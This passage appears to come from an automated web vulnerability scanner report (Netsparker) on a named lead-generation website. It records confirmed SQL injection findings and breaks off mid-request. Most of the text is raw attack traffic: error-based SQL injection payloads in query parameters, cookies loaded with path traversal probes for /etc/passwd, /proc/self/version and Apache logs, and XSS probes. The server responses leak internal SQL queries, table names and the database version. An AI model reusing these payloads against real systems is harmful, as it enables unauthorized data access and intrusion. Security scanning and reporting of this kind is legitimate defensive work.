OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:27:22 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=kl7inls2vf4bkeo4oip8q21ea1; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/inco00/project.php?catId=60003&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/'Duplicate entry '_!@4dilemma:0' for key 1

- /ppc/leadflow/obtm00/project.php

/ppc/leadflow/obtm00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/obtm00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select..

Parameters

Parameter	Type	Value
catId	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'
iusrc	GET	iupsc

Extracted Data

5.0.45

Request

GET /ppc/leadflow/obtm00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:28:10 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=b7tsop5103jt1e5o5dbviv3lg1; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/'Duplicate entry '_!@4dilemma:0' for key 1

- /ppc/leadflow/bulo00/project.php

/ppc/leadflow/bulo00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/bulo00/project.php?catId=30005&iusrc='%2B(select+1+and+row(1%2c..

Parameters

Parameter	Type	Value
catId	GET	30005
iusrc	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'

Extracted Data

5.0.45

Request

GET /ppc/leadflow/bulo00/project.php?catId=30005&iusrc='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; 